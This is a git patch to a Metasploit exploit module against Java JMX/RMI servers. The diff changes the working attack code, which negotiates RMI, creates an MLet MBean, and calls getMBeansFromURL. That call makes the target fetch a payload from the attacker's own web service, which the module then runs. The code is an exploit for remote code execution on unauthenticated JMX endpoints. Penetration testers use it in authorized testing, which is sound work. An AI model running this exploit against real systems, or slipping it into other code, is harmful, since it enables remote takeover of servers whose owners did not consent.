From a996efc807602d4fe1779db807c2abafd1faf2e4 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 21 Jan 2015 00:07:00 -0600 Subject: [PATCH] Refactor exploit code --- .../exploits/multi/misc/java_jmx_server.rb | 171 ++++++++---------- 1 file changed, 71 insertions(+), 100 deletions(-) diff --git a/modules/exploits/multi/misc/java_jmx_server.rb b/modules/exploits/multi/misc/java_jmx_server.rb index 6ddbd19e90..d3b2c242ab 100644 --- a/modules/exploits/multi/misc/java_jmx_server.rb +++ b/modules/exploits/multi/misc/java_jmx_server.rb @@ -109,7 +109,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("#{peer} - Sending RMI Header...") unless is_rmi? - fail_with(Failure::NoTarget, "#{peer} - Filed to negotiate RMI protocol") + fail_with(Failure::NoTarget, "#{peer} - Failed to negotiate RMI protocol") end print_status("#{peer} - Discoverig the JMXRMI endpoint...") @@ -118,84 +118,34 @@ class Metasploit3 < Msf::Exploit::Remote if mbean_server.nil? fail_with(Failure::NoTarget, "#{peer} - Failed to discover the JMXRMI endpoint") else - print_good("#{peer} - JMXRMI endpoint on #{mbean_server[:host]}:#{mbean_server[:port]}") + print_good("#{peer} - JMXRMI endpoint on #{mbean_server[:address]}:#{mbean_server[:port]}") end - exploit_mbean_server(mbean_server) - end - - def exploit_mbean_server(mbean) - print_good("#{peer} - JMX MBean server endpoint found on #{mbean[:address]}:#{mbean[:port]}, connecting...") - - connect(true, { 'RPORT' => mbean[:address], 'RPORT' => mbean[:port] }) - - send_header - ack = recv_protocol_ack - if ack.nil? - fail_with(Failure::NotFound ,"#{peer} - Filed to negotiate RMI protocol") + connect(true, { 'RPORT' => mbean_server[:address], 'RPORT' => mbean_server[:port] }) + unless is_rmi? + fail_with(Failure::NoTarget, "#{peer} - Failed to negotiate RMI protocol with the MBean server") end - print_status("#{peer} - Sending handshake / authentication...") - - send_call(call_data: handshake_stream(mbean[:id].chop)) - - return_data = recv_return - - if return_data.nil? - fail_with(Failure::Unknown, "#{peer} - Failed to send handshake") - end - - answer = extract_object(return_data, 1) - - if answer.nil? - fail_with(Failure::Unknown, "#{peer} - Unexpected handshake answer") - end - - case answer - when 'java.lang.SecurityException' - fail_with(Failure::NoAccess, "#{peer} - JMX end point requires authentication, but it failed") - when 'javax.management.remote.rmi.RMIConnectionImpl_Stub' - print_good("#{peer} - Handshake completed, proceeding...") - conn_stub = extract_unicast_ref(StringIO.new(return_data.contents[2].contents)) - if conn_stub.nil? - fail_with(Failure::Unknown, "#{peer} - Failed to extract the UnicastRef information") - end + print_status("#{peer} - Proceeding with handshake...") + jmx_endpoint = handshake(mbean_server) + if jmx_endpoint.nil? + fail_with(Failure::NoTarget, "#{peer} - Failed to handshake with the MBean server") else - fail_with(Failure::Unknown, "#{peer} - Handshake returned unexpected object #{answer}") + print_good("#{peer} - Handshake with JMX MBean server on #{jmx_endpoint[:address]}:#{jmx_endpoint[:port]}") end - print_status("#{peer} - Getting JMXPayload instance...") - my_stream = get_object_instance_stream(obj_id: conn_stub[:id].chop , name: 'MLetCompromise:name=jmxpayload,id=1') - send_call(call_data: my_stream) - return_data = recv_return - - if return_data.nil? - fail_with(Failure::Unknown, "#{peer} - The request to getObjectInstance failed") - end - - answer = extract_object(return_data, 1) - - if answer.nil? - fail_with(Failure::Unknown, "#{peer} - Unexpected getObjectInstance answer") - end - - case answer - when 'javax.management.InstanceNotFoundException' - print_warning("#{peer} - JMXPayload instance not found, trying to load") - load_payload_from_url(conn_stub) - when 'javax.management.ObjectInstance' - print_good("#{peer} - JMXPayload instance found, using it") - else - fail_with(Failure::Unknown, "#{peer} - getObjectInstance returned unexpected object #{answer}") + print_status("#{peer} - Loading payload...") + unless load_payload(jmx_endpoint) + fail_with(Failure::Unknown, "#{peer} - Failed to load the payload") end print_status("#{peer} - Executing payload...") - my_stream = invoke_stream( - obj_id: conn_stub[:id].chop, - object: 'MLetCompromise:name=jmxpayload,id=1', - method: 'run' + invoke_run_stream = invoke_stream( + obj_id: jmx_endpoint[:id].chop, + object: 'MLetCompromise:name=jmxpayload,id=1', + method: 'run' ) - send_call(call_data: my_stream) + send_call(call_data: invoke_run_stream) disconnect end @@ -271,112 +221,133 @@ class Metasploit3 < Msf::Exploit::Remote end def load_payload(conn_stub) - print_status("#{peer} - Getting JMXPayload instance...") - my_stream = get_object_instance_stream(obj_id: conn_stub[:id].chop , name: 'MLetCompromise:name=jmxpayload,id=1') - send_call(call_data: my_stream) + vprint_status("#{peer} - Getting JMXPayload instance...") + get_payload_instance = get_object_instance_stream(obj_id: conn_stub[:id].chop , name: 'MLetCompromise:name=jmxpayload,id=1') + send_call(call_data: get_payload_instance) return_data = recv_return if return_data.nil? - fail_with(Failure::Unknown, "#{peer} - The request to getObjectInstance failed") + vprint_error("#{peer} - The request to getObjectInstance failed") + return false end answer = extract_object(return_data, 1) if answer.nil? - fail_with(Failure::Unknown, "#{peer} - Unexpected getObjectInstance answer") + vprint_error("#{peer} - Unexpected getObjectInstance answer") + return false end case answer when 'javax.management.InstanceNotFoundException' - print_warning("#{peer} - JMXPayload instance not found, trying to load") + vprint_warning("#{peer} - JMXPayload instance not found, trying to load") return load_payload_from_url(conn_stub) when 'javax.management.ObjectInstance' - print_good("#{peer} - JMXPayload instance found, using it") + vprint_good("#{peer} - JMXPayload instance found, using it") + return true else - fail_with(Failure::Unknown, "#{peer} - getObjectInstance returned unexpected object #{answer}") + vprint_error("#{peer} - getObjectInstance returned unexpected object #{answer}") + return false end end def load_payload_from_url(conn_stub) - print_status("Starting service...") + vprint_status("Starting service...") start_service - print_status("#{peer} - Creating javax.management.loading.MLet MBean...") + vprint_status("#{peer} - Creating javax.management.loading.MLet MBean...") create_mbean = create_mbean_stream(obj_id: conn_stub[:id].chop, name: 'javax.management.loading.MLet') send_call(call_data: create_mbean) return_data = recv_return + + if return_data.nil? + vprint_error("#{peer} - The request to createMBean failed") + return false + end + answer = extract_object(return_data, 1) if answer.nil? - fail_with(Failure::Unknown, "#{peer} - Unexpected createMBean answer") + vprint_error("#{peer} - Unexpected createMBean answer") + return false end case answer when 'javax.management.InstanceAlreadyExistsException' - print_good("#{peer} - javax.management.loading.MLet already exists") + vprint_good("#{peer} - javax.management.loading.MLet already exists") when 'javax.management.ObjectInstance' - print_good("#{peer} - javax.management.loading.MLet created") + vprint_good("#{peer} - javax.management.loading.MLet created") when 'java.lang.SecurityException' - fail_with(Failure::NoAccess, "#{peer} - The provided user hasn't enough privileges") + vprint_error("#{peer} - The provided user hasn't enough privileges") + return false else - fail_with(Failure::Unknown, "#{peer} - createMBean returned unexpected object #{answer}") + vprint_error("#{peer} - createMBean returned unexpected object #{answer}") + return false end - print_status("#{peer} - Getting javax.management.loading.MLet instance...") - my_stream = get_object_instance_stream(obj_id: conn_stub[:id].chop , name: 'DefaultDomain:type=MLet') - send_call(call_data: my_stream) + vprint_status("#{peer} - Getting javax.management.loading.MLet instance...") + get_mlet_instance = get_object_instance_stream(obj_id: conn_stub[:id].chop , name: 'DefaultDomain:type=MLet') + send_call(call_data: get_mlet_instance) return_data = recv_return if return_data.nil? - fail_with(Failure::Unknown, "#{peer} - The request to getObjectInstance failed") + vprint_error("#{peer} - The request to getObjectInstance failed") + return false end answer = extract_object(return_data, 1) if answer.nil? - fail_with(Failure::Unknown, "#{peer} - Unexpected getObjectInstance answer") + vprint_error("#{peer} - Unexpected getObjectInstance answer") + return false end case answer when 'javax.management.InstanceAlreadyExistsException' - print_good("#{peer} - javax.management.loading.MLet already found") + vprint_good("#{peer} - javax.management.loading.MLet already found") when 'javax.management.ObjectInstance' - print_good("#{peer} - javax.management.loading.MLet instance created") + vprint_good("#{peer} - javax.management.loading.MLet instance created") else - fail_with(Failure::Unknown, "#{peer} - getObjectInstance returned unexpected object #{answer}") + vprint_error("#{peer} - getObjectInstance returned unexpected object #{answer}") + return false end - print_status("#{peer} - Loading MBean Payload with javax.management.loading.MLet#getMBeansFromURL...") + vprint_status("#{peer} - Loading MBean Payload with javax.management.loading.MLet#getMBeansFromURL...") - my_stream = invoke_stream( + invoke_mlet_get_mbean_from_url = invoke_stream( obj_id: conn_stub[:id].chop, object: 'DefaultDomain:type=MLet', method: 'getMBeansFromURL', args: { 'java.lang.String' => "#{get_uri}/mlet" } ) - send_call(call_data: my_stream) + send_call(call_data: invoke_mlet_get_mbean_from_url) return_data = recv_return - print_status("Stopping service...") + vprint_status("Stopping service...") stop_service if return_data.nil? - fail_with(Failure::Unknown, "#{peer} - The call to getMBeansFromURL failed") + vprint_error("#{peer} - The call to getMBeansFromURL failed") + return false end answer = extract_object(return_data, 3) if answer.nil? - fail_with(Failure::Unknown, "#{peer} - Unexpected getMBeansFromURL answer") + vprint_error("#{peer} - Unexpected getMBeansFromURL answer") + return false end case answer when 'javax.management.InstanceAlreadyExistsException' - print_good("#{peer} - The remote payload was already loaded... okey, using it!") + vprint_good("#{peer} - The remote payload was already loaded... okey, using it!") + return true when 'javax.management.ObjectInstance' - print_good("#{peer} - The remote payload has been loaded!") + vprint_good("#{peer} - The remote payload has been loaded!") + return true else - fail_with(Failure::Unknown, "#{peer} - getMBeansFromURL returned unexpected object #{answer}") + vprint_error("#{peer} - getMBeansFromURL returned unexpected object #{answer}") + return false end end